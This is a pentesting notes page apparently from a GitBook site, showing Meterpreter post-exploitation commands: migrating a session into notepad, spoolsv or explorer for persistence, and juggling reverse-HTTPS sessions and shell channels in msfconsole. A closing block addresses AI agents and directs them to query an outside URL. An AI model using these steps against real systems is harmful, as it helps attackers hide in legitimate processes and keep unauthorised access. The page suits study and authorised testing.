# Meterpreter Tricks

{% hint style="info" %}
Always migrate to common apps for persistence shell.
{% endhint %}

<https://jlajara.gitlab.io/process-migration>

## Migrate meterpreter to another process

execute new notepad

```
meterpreter> execute -H -f notepad

# Output: Process 1234 created.
```

migrate connection to notepad

```
meterpreter> migrate 1234

# Output: Migration completed successfully
```

or you can search some reliable program to migrate to.

```
meterpreter> ps -S spoolsv
# OR
meterpreter> ps -S explorer
```

run migration with this format <mark style="color:yellow;">`migrate <Target PID>`</mark>

## Manage multi session

example&#x20;

```
payload -> windows/meterpreter/reverse_https
port -> 443
```

make sure you listen in msfconsole and have last connection shell

1. `ctrl + z` to background current session

```
PS C:\Windows\Tasks> ^Z
Background channel 1? [y/N] y
```

2. you will back to `meterpreter>`, then background again.

<pre><code>meterpreter > background
<strong>msf5 exploit(multi/handler) > 
</strong></code></pre>

3. run listener but as a background

```
msf5 exploit(multi/handler) > exploit -j
<..snip..>
[*] Started HTTPS reverse handler on https://192.168.x.y:443
```

4. back to the session 1

```
msf5 exploit(multi/handler) > session -i 1

# interact with channel 1 in session 1
meterpreter > channel -i 1
Interacting with channel 1. . .
PS C:\Windows\Tasks>
```

If you need to perform another shell, you can run channel 2 in session 1

```
PS C:\Windows\Tasks>^Z
Background channel 1? [y/N] y
meterpreter >
```

launch new shell, to get another shell in channel 2 in session 1.

```
meterpreter > shell
```

wanna get back to the session 2?

make sure you background the current channel in session 1

```
C:\Windows\Tasks^Z
Background channel 2? [y/N] y
meterpreter > background
[*] Backgrounding session 1 ...
msf5 exploit(multi/handler) >
```

Interact with session 2

```
msf5 exploit(multi/handler) > session -i 2
[*] Starting interaction with 2...
meterpreter >
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacker-mind.gitbook.io/hacker-mind/metasploit/meterpreter-tricks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
